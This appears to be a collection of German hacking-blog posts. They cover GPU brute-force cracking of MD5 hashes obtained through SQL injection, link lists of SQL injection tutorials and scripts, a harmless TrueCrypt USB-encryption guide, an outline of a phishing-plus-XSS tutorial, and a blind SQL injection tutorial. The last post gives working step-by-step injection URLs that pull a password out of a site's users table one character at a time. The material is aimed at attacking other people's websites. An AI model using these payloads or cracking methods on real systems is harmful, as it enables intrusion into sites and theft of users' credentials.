Ade Rainbow Tables, Hallo GPU Brute-Force

Heyho,

ihr kennt sicher das Problem, ihr habt euer PW vergessen und nur noch den Hash davon da (ja.. was fuer ein scheiß, ich weiß, dieser fall trifft normal nie zu). Aufjedenfall Beispielsweise ihr macht eine SQL Injection oder aehnliches, bekommt einen MD5 Hash raus. So, super, cracken lassen. Schnell auf hashkiller.com oder milw0rm mal nachschauen ob er gecrackt werden kann. Nun wenn es keinen Erfolg gab, kann man sich ja mal drueber gedanken machen, seine PW-Hashes selber zu cracken. Doch wie? Eine Moeglichkeit waere Rainbow Tables. Doch a) dauert das ewig, b) verbraucht das unmengen an Speicherplatz auf der Festplatte. Was nun? Brute-Force ueber CPU?

Nachdem ich nun den Artikel von -tmh- gelesen hatte, bei dem es um GPU Brute-Force ging, wollte ich das gleich mal ausprobieren..

Was ist GPU Brute-Force ?
Um es kurz zu sagen, hierbei wird der Grafikprozessor zum Bruten eines Passwords genommen. Was sicher viele nicht wissen ist, dass der Grafikprozessor wesentlich schneller ist als die CPU.Eine genaue Beschreibung, was GPGPU ist findet ihr im folgenden Wikipedia Artikel

Werd euch daher 5 Programme + Crack Ergebnisse vorstellen mit jeweils Vor- und Nachteil des Programmes. Ahja vorweg noch, ich benutzte fuer/waehrend meine Tests eine Nvidia GeForce GTX 280.

Als PW Hash nehme ich “c79b730cf5c8856702fbd8277483c2e3” (MD5) welches verschluesselt “johnxer” heißt, also 7 stellig jedoch nur lower-case.

Dann fang ich mal mit dem ersten Tool an:

GPU MD5 Crack:

Speed: 330 Mhash/s

Dauer: 1.11 min

Ergebnis:

MD5 Cracked pwd=johnxer, hash=c79b730cf5c8856702fbd8277483c2e3

Vorteile:

+ schneller Brute-Force
+ kostenlos
+ Brute-Force Methode ist Kleinbuchstaben + Zahlen
+ Ascii PW Funktion
+ Enthaelt im Vergleich zu den anderen eine GUI

Nachteile:

– Man kann die Brute-Force Methode nicht aendern (Großbuchstaben, Sonderzeichen,..)
– Start bei Nr. und Max. Nummer von Passwoertern ist unverstaendlich und meiner Meinung nach Mist. Das sollte der Coder irgendwie anders machen

BarsWF:

Speed, Dauer und Ergebnis laesst sich ja aus dem Screenshot entnehmen. Jedoch moechte ich dazu sagen, dass der Titel der Seite recht hatte! Das ist in diesem Test der schnellste Brute-Forcer!

Vorteile:

+ schnellster Brute-Force in diesem Test (5sek fuer 7 stelliges PW aus Kleinbuchstaben)!
+ Kostenlos
+ Auswahl von charset waehlbar (“-c 0aA~ Set charset. 0 – digits, a – small chars, A – capitals, ~ – special symbols”, -c a = Kleinbuchstaben, welches ich auch verwendet hatte)
+ Nettes Design in der Console

Nachteile:

Lightning Hash Cracker:

Hatte ich vor zu testen, jedoch ohne Erfolg, die Usage ist erst beim 3ten Lesen verstaendlich und das File, welches man auswaehlen, welches auch den MD5 Hash beinhaltet, konnte nicht gelesen/geladen werden. Ich kam mit diesem Tool irgendwie gar nicht zurecht.

Vorteile:
+ Kostenlos

Nachteile:
+ wahrscheinlich schwer fuer Anfaenger
+ Usage ist nicht gut geschrieben und auch die ReadMe hilft meiner Meinung nach nur gering weiter.

Vielleicht kann es ja jemand anderes testen 😉

nvCUDA:

So das ist nen Tool ausm Russischen Forum, jedoch braucht man noch eine extra .dll sonst bekommt man diese Fehlermeldung:

Hab das Tool daher nicht getestet, jedoch wuerde die Bewertung so aussehen:

Vorteile:
+ Große Charset auswahl
+ MySQL Hash moeglich
+ kostenlos

Nachteile:
– Russische Seite, d.h. wenn man kein russich kann, wird man den DL etwas suchen muessen ^.^
– Programm benoetigt eine zusaetzliche .dll datei

Extreme GPU Bruteforcer:

Speed: 425 Mhash/s

Dauer: 0.14 min

Ergebnis:

c79b730cf5c8856702fbd8277483c2e3:johnxer
All passwords found!

Vorteile:
+ zweitschnellster Brute-Force im Test
+ verdammt große Auswahl an Hash Arten (dazu auf der Hersteller Page mehr): MD5, MySQL, MD4, NTLM, SHA-1, MySQL5, Domain Cached Credentials, md5(md5($pass)), md5($pass.$salt), md5($salt.$pass), md5(md5($pass).$salt), md5(md5($salt).$pass), md5($salt.$pass.$salt), md5($salt.md5($pass)), md5(md5($salt).md5($pass)), md5(md5($pass).md5($salt)), sha1($username.$pass), DES(Unix),..
+ Charset Auswahl und andere Einstellungen leicht zu aendern im Setting file
+ Simple Usage

Nachteile:
– Kostenpflichtig
(- Design sieht etwas zu schlecht aus, ist aber in ordnung, daher in Klammern)
– Verbraucht extrem viel Leistung der Grafikkarte, wenn ich etwas im Chat oder woanders schreibe, merk ich das es “ruckelt” und der Text langsamer in der Textbox ankommt.

Fazit:
Ich bin mit diesem Ergebnis sehr zufrieden, da die meisten Programme gut funktioniert haben und die Brute-Force Methode um einiges schneller ist als Rainbow Tables und weniger Platz auf der Festplatte benoetigt. Klar, es kommt immer darauf an, was man fuer eine Grafikkarte hat, jedoch denke ich wird jeder mit seiner Grafikkarte mit BarsWF die besten Ergebnisse erhalten. Daher ist fuer mich BarsWF die beste Wahl und an zweiter Stelle der kostenpflichtige Extreme GPU Bruteforcer von Inside Pro, aufgrund der großen Auswahl an verschiedenen PW hashes.

Tipps & mehr zu SQL Injections

Heyho,

erster Punkt, ich hab nun einen “Link me” Bereich, d.h. wenn ihr meinen Blog irgendwo verlinken wollt, koennt ihr die Banner von dort verwenden. Danke nochmal an alle, welche mir fleisig nen Banner gemacht haben 🙂

Zweitens, nun hab ich auch eine Seite fuer Partnerschaften wenn ihr also Partner von j0hnx3r.org sein woll, einfach mich unter “Contact” per ICQ kontaktieren 🙂

Nun zum eigentlichen Blogeintrag, ich wuerd euch gern ein paar weiterfuehrende Seiten und Tutorials zum Thema SQL Injections zeigen.

Zuerst fang ich mal auch mit meinem Einstieg in die SQL Injections ein, naemlich die Video Tutorials von Lidloses_Auge:
Teil 1 | Mirror
Teil 2 | Mirror
Teil 3 | Mirror
Quelle & Mehr zu SQL Injections von Lidloses_Auge: http://novusec.com/category/sql-injections/

Zum Thema Blind SQL Injections wuerd ich euch gern noch ein weiteres Video Tutorial mit Voice von Cheese vorstellen:
http://cheese.pytalhost.org/tutorials/sql.html | Mirror
Ein wirklich sehr gutes Video Tutorial zum Thema Blind SQL Injections, gut erklaert und mit farben gearbeitet und es super dargestellt. Meiner Meinung nach sogar besser als das Teil 3 Video von Lidloses_Auge.

darkc0de.com hat auch einige nuetzliche Python Scripts, was Blind SQL Injections angeht und sehr hilfreich ist, zum Beispiel: http://darkc0de.com/others/blindext.py | Mirror

Auch eine nette .pdf Datei fuer Vulnerabilities ist diese: https://hack0r.net/wp-content/uploads/2007/07/implementation_vulnerabilities_and_detection_-_paper.pdf | Mirror

Zum Schluss noch ein wirklich gutes Text Tutorial von Marezzi, auch das hatte mir damals sehr geholfen:
http://milw0rm.com/papers/202 | Leider kein Mirror verfuegbar

All diese Tutorials hatten mir damals sehr geholfen zu dem, was ich bis heute weiß 🙂

P.S.: Bevor fragen kommen, nein das war nicht der 4. Teil meiner SQL Injections Reihe, sondern der 4te Teil folgt noch in naechster Zeit 😉

TrueCrypt – How to crypt your USB Stick

Heyho,

ihr kennt bestimmt das Problem, so ein kleiner USB Stick kann schnell mal verloren gehen. Doof, wenn dann fremde Private Sachen sehen, welche sie nicht sehen sollten. Doch wie kann man verhindern das “fremde” eure Privaten Sachen sehen? Da wir sowieso in einem Ueberwachungsstaat leben wird die Privatsphaere sowieso immer weniger, und das was ihr davon habt solltet ihr auch fuer euch behalten. Heute zeige ich euch, wie man mithilfe von TrueCrypt seine externen Speichermedien (sprich USB Sticks, externe Festplatte,…) verschluesseln kann. Ich verwende die Version 6.1a, die aktuellste Version gibts wie immer auf  der Herstellerseite zum kostenlosen Download.

Es gibt mehrere Moeglichkeiten seinen USB Stick (…) zu verschluesseln, ich werde euch die komplette Verschluesselung zeigen. Das erstellen eines Verschluesselten Bereiches ist eine alternative und diese werd ich am Schluss des Tutorials posten.

Fangen wir an, wir holen uns die aktuellste TrueCrypt Version. Nun koennen wir auswaehlen ob wir es entpackt und sofort einsatzbereit oder installiert haben wollen. Ich selber habe es installiert und wuerde es auch installieren, man kann natuerlich auch den “entpackten Modus” benutzen, wenn man es nicht installieren moechte.

Danach starten wir unser TrueCrypt Fenster, das sieht dann so aus:

Waehlt nen beliebigen Laufwerksnamen aus und klickt auf  “Create Volume”. Nun habt ihr die Moeglichkeit zwischen diesen 3 Optionen (Auf der Linux Version sinds nur 2 Optionen) zu waehlen:

So was sind das fuer Optionen?

1) Erstellt einen Verschluesselten Bereich

2) Verschluesselt komplett ein Speichermedium (egal ob Intern oder Extern)

3) Verschluesselt komplett die Windows Partition, mit der also auch gebootet wird (Bei dieser Option erscheint vorm Hochfahren das bekannte Passworteingabefeld).

Da ich euch fuer Methode 1) spaeter ein V-Tut von -tmh- zeig und wir ein externes Speichermedium ohne System verschluesseln wollen, waehlen wir Option 2 aus.

Danach bekommen wir folgende Auswahl:

Hier muessen wir auswaehlen, ob wir einen normales “Volumen” erstellen wollen, oder eben ein verstecktes. Wir waehlen das Normale aus, da wir im Normalfall kein verstecktes Volumen benoetigen (Mehr zum Thema Normal oder verstecktes Volumen: *klick* ).

Weiter gehts, mit Next. Nun waehlen wir unser Laufwerk aus mit einem Klick auf “Select Device..”. Ich waehle meinen 4GB USB Stick aus:

Dann auf OK, dann erfolgt eine Meldung, welche ihr nach dem Durchlesen mit “Ja” bestaetigt:

Danach sollte das ganze so aussehen:

Nach einem klick auf “Next” geht es dann weiter (den haken “Never save History” einfach drin lassen).

Nun kommen wir, wie ihr seht, zu einem wichtigen Punkt. Naemlich wie er verschluesseln soll:

1) Es wird das komplette Speichermedium verschluesselt und FORMATIERT! D.h. ALLE DATEN die drauf waren, werden GELOESCHT! Wichtig!

2) Die verhandenen Daten werden verschluesselt, d.h. es kommt zu keinem Datenverlust. Wichtig:

Diese Funktion gibt es erst seit der TrueCrypt Version 6.1 und funktioniert nur unter Windows Vista/2008!

Please note that this is not supported on Windows XP/2000/2003 as these versions of Windows do not natively support shrinking of a filesystem

und

Ability to encrypt a non-system partition without losing existing data on the partition. (Windows Vista/2008)

Da sich auf meinem USB Stick im Moment eh keine Daten befinden, welche ich 1) aus. Wer Windows Vista hat && Daten auf seinem USB Stick/externe festplatte,.. der nimmt bitte die Option 2) oder erstellt nen Container!

Mit einem klick auf Next geht es dann weiter. Nun kommen wir zum spanndenden Teil, naemlich das Auswaehlen einer Verschluesselung:

Fakt ist, es sind alle sicher. Vorraussetzung man hat ein gutes Passwort gewaehlt. Bei einem “schwachen” Passwort nuetzt die staerkste Verschluesselung nichts 😉

Joa sucht euch was aus, GODFATHER von F-H hatte damals bei nem V-Tut Twofish-Serpent glaub ich genommen, die meisten nehmen nur AES, da es das “schnellste” ist und zudem natuerlich auch noch sicher. Ich selber benutze AES-Twofish fuer meinen USB Stick. Danach duerfen wir uns nen Hash Algorithm auswaehlen, gibt 3 zur Auswahl RIPEMD-160, SHA-512 und Whirlpool. Ich werde hier Whirlpool verwenden (Mehr zu den verschiedenen Hash Algorithmen hier ).

Im naechsten Fenster duerfen wir einfach auf “Next” klicken:

Nun kommen wir zu einem wichtigen Feld, naemlich das PW welches wir auswaehlen. Wie gesagt, wichtig ist, dass es ein Langes PW mit moeglichst vielen Zahlen und Sonderzeichen hat. ß,@,€ sind nicht erlaubt, da es die auf amerikanischen Tastaturen nicht gibt.

Dann gebt ihr das PW ins zweite Feld ein, lasst den rest so wie er ist und klickt auf Next.

So nun kommen wir zu einem interessanten Feld, denn wir duerfen nun mit unserer Maus einen “Random Pool” auswaehlen:

Einfach mit eurer Maus im Fenster herumbewegen, so dass sich die Zahlen alle aendern und ein moeglichst zufaelliger Wert ausgewaehlt wird. Danach klickt ihr auf Format.

Meldung mit einem Klick auf “Ja” bestaetigen:

Nun einfach abwarten und zuschauen:

So nun wenn es fertig ist, klicken wir einfach auf  “OK” bei der naechsten Meldung:

danach wieder auf “OK”:

Sind nun  doch recht viele Bilder. Beim naechsten Fenster klicken wir einfach auf Exit.

Nun es gibt 2 Moeglichkeiten unseren USB Stick auszuwaehlen, entweder ueber klick auf “Select Device..”, dann unsern USB Stick auswaehlen, auf “OK” klicken und dann auf “Mount” klicken, oder wir machen es uns bequem und klicken einfach auf “Auto-Mount Devices”.

Danach im folgenden Feld:

Euer PW rein und auf “OK” klicken. Wenn alles gut geht, erscheint nun:

Und dann im “Arbeitsplatz”:

So ich hoffe dieses Tutorial hat euch geholfen, euren USB Stick (…) sicher und einfach mithilfe von TrueCrypt zu verschluesseln. Damit auch ihr, wenn fremde auf eurer Speichermedium zugreifen wollen, “Truecrypt wins” sagen koennt 😉

So wie versprochen gibt es natuerlich noch die Moeglichkeit das alles in Form eines verschluesselten Containers zu machen. -tmh- von Kartoffel-hack.com hatte dazu ein nettes, auch verstaendliches Video Tutorial erstellt, welches ihr hier sehen koennt: http://www.kartoffel-hack.com/wordpress3/?p=142 bzw hier.

Phishing meets XSS – A Powerful Duo

Titel: “Phishing meets XSS – A Powerful Duo”
Author: Cheese
Date: 22 February 2009
Site: cheese.1x.to
Mail: cheese[at]mymail[dot]ch

    1. --- Introduction

    2. --- The Phishing Site
    2.1 -- Customize the Login Form
    2.2 -- Make the logging-Script

    3. --- The XSS Vulnerability
    3.1 -- Include our JS Source
    3.2 -- Build an IFrame for our Phishing page

    4. --- Outro
    4.1 -- Closing Words
    4.2 -- Credits

http://cheese.5x.to/tutorials/xssphish.txt

SQL Injection Tutorial Teil 3

Heyho,

heute werde ich euch versuchen zu erklaeren, wie man eine Blind SQL Injection durchfuehrt.

Was ist/Wann/Warum eine Blind SQL Injection?
Nach “Blind SQL Injection” Methode geht man normal dann vor, wenn man keine Ausgabe hat, die MySQL Version 3 ist, oder auf dem Server “UNION” aus welchem Grund auch immer nicht verfuegbar ist. Meistens jedoch wenn keine Ausgabe da ist. Bei einer Blind SQL Injection geht man normal so vor, dass man den Server quasi eine Frage stellt und dieser kann nur JA oder NEIN (True/False) antworten. Eine Blind SQL Injection dauert normal verdammt lange, wenn man das per Hand macht. Scripts helfen auch hierbei wieder. Was man sich auch noch merken kann/sollte: Eine Blind SQL Injection ist normal auch immer dann moeglich, wenn eine normale SQL Injection moeglich ist, umgekehrt jedoch nicht.

Fangen wir auch gleich an… wieder mit and 1 = 0 und and 1 = 1 um zu testen wie/ob der server auf True/False statements reagiert. Wenn ja ist aufjedenfall ne Blind SQL Injection moeglich.

http://www.site.de/news.php?id=5 and 1 = 0

Wichtig: Die ID muss gueltig bleiben, kein minus oder aehnliches davor. Nun sollte unser Inhalt fehlerhaft dargestellt werden bzw etwas fehlen. Dann testen wir ein True Statement:

http://www.site.de/news.php?id=5 and 1 = 1

Nun sollte die Page normal angezeigt werden ohne Fehler. Sollte sich von 1 = 0 und 1 = 1 der Inhalt bzw die Seite sich kaum aendern testet es mit einem hochkomma ‘ hinter der 5. Wenn sich dann nichts aendert ist meistens keine Blind SQL Injection moeglich (gibt auch noch moeglichkeit and ‘1’ = ‘0’ zu verwenden..)

So wir gehen davon aus, dass unsere Page verwundbar ist. Fangen wir nun richtig an 😉

1) MySQL Version herrausfinden

Funktioniert wie bei einer normalen SQL Injection, verwendet wird version() oder @@version.

Nur arbeitet man hier mit SUBSTRING, dass heißt das nur ein Teil von einem String ausgegeben wird. Weiteres dazu → Google 😉

http://www.site.de/news.php?id=5 and SUBSTRING(version(),1,1)=5

/* bzw. – wird normal nicht mehr benoetigt, da es das andere Query nicht groß stoert.

SUBSTRING(version() ← fragt nach der MySQL Version
,1,1 ← ab dem ersten Zeichen mit der Laenge 1
=5 ← fragt ob die MySQL Version mit 5 beginnt

Fraegt quasi:
… id=5 und “der erste Buchstabe der Version() faengt mit 5 an”.

Wenn dort nun die Page richtig angezeigt wird, dann ist es MySQL v5. Wenn nun die Page falsch angezeigt wird, probiert =4
Nun sollte die Page richtig geladen werden, da eins der beiden Statements true ist. Wenn nich probiert =3, hatte ich schon paar mal, jedoch ist das selten.

2) Blind SQL Injection durchfuehren

Da wir per SUBSTRING arbeiten, brauchen wir auch kein UNION.

Es gibt verschiedene Wege herauszufinden, welche Tabellen und columns existieren. Jedoch da eine Blind SQL Injection ist, bringt uns das nicht arg viel, da nur TRUE/FALSE ausgegeben wird. Außer es ist MySQL 5 wegen der DB INFORMATION_SCHEMA. Klar, wenn man das gut kann, kann man auch Befehle wie LIKE usw. anwenden und so schauen was fuer Tabellen existieren, jedoch zeige ich euch einen Weg der stark an MySQL v4 Methode erinnert, und zwar – raten 😉

Ist aehnlich wie ein normales SQL Injections Query nur muessen wir fragen, ob es stimmt, was wir angeben.

Pruefen koennen wir das mithilfe von ASCII. Mehr zu ASCII + Tabelle: http://de.wikipedia.org/wiki/ASCII-Tabelle

Wir gehen nun davon aus, dass wir wissen wie die Tabellen und Spalten sind. Wie man das rausfindet, raten oder eben Scripts verwenden, darkc0de.com hat gute Python Scripts was Blind SQL Injections angeht, bei bedarf lad ichs auch schnell hoch. Vorallem mit MySQL 5 kommt dieses Script super zurecht. So nun wollen wir anfangen, im normallfall geht man immer Buchstabe fuer Buchstabe vor:

http://www.site.de/news.php?id=5 and ascii(substring((SELECT password from users limit 0,1),1,1))>80

Erklaerung:
and ASCII( ← Nach dem ASCII wert wird gefragt
SUBSTRNG( ← wird wieder Substring angewendet
(SELECT ← wird eine klammer benutzt
SELECT password FROM users ← wird wieder normal nach dem password aus der Tabelle `users`
limit 0,1) ← Wird nach der aller ersten Zeile gefragt + Query geschlossen
,1,1) ← 1 Zeichen, 1 Laenge
)>80 ← Ob die ERSTE stelle des PW einen ASCII wert hat der GrOEßER ist als 80

Wenn nun die Page richtig angezeigt wird, dann ist der ASCII wert groeßer als 80.. weiter testen..

http://www.site.de/news.php?id=5 and ascii(substring((SELECT password from users limit 0,1),1,1))>90

Nun wird die Page fehlerhaft angezeigt, bzw. der Inhalt ist nicht ganz zu sehen, also ist das Statement falsch. Der ASCII Wert von der ersten Stelle des Pws is also kleiner als 90.. probieren wir 85

http://www.site.de/news.php?id=5 and ascii(substring((SELECT password from users limit 0,1),1,1))>85

True..

http://www.site.de/news.php?id=5 and ascii(substring((SELECT password from users limit 0,1),1,1))>86 

False. Also ist der ASCII wert NICHT GrOEßER als 86 sondern = 86. Testen koennt ihr das mit

http://www.site.de/news.php?id=5 and ascii(substring((SELECT password from users limit 0,1),1,1))=86

Wenn nun der Inhalt richtig angezeigt wird, ist der ASCII Wert 86.

Also erste Stelle des PW, schauen wir auf unserer ASCII-Tabelle nach..
86 – V
Also beginnt unser PW mit einem großen V

Nun die zweite Stelle des Pws.. ),2,1) Da nach der Zweiten Stelle gefragt wird.. sieht etwa so aus:

http://www.site.de/news.php?id=5 and ascii(substring((SELECT password from users limit 0,1),2,1))>90

False.

http://www.site.de/news.php?id=5 and ascii(substring((SELECT password from users limit 0,1),2,1))>80

False.

http://www.site.de/news.php?id=5 and ascii(substring((SELECT password from users limit 0,1),2,1))>50

True.

http://www.site.de/news.php?id=5 and ascii(substring((SELECT password from users limit 0,1),2,1))>52

False

http://www.site.de/news.php?id=5 and ascii(substring((SELECT password from users limit 0,1),2,1))=52 

True.

Also ist der ASCII wert 52. → 4 laut unserer ASCII Tabelle.

Also sieht unser PW bis jetzt so aus: V4

Nun ),3,1).. usw.. ich denke ihr wisst nun wie 😉

Das macht ihr solange bis

http://www.site.de/news.php?id=5 and ascii(substring((SELECT password from users limit 0,1),XX,1))>1

False ist.

Klar gibt’s fuer so was auch wieder nen Skript (darkc0de.com), welches das alles erleichtert. Aber echte Inject0r machen das per Hand =D

So das war nun mein Tutorial ueber Blind SQL Injections, ich hoffe das man es verstehen konnte, und ja, im vorerst letzten Teil der SQL Injection Tutorial Reihe gehen wir auf Schritte bei einer SQL Injection ein, die man als Anfaenger nicht zu wissen braucht.

Auch werde ich dort nen paar sinnvolle und gute links & Tutorials von anderen Leuten zeigen. 🙂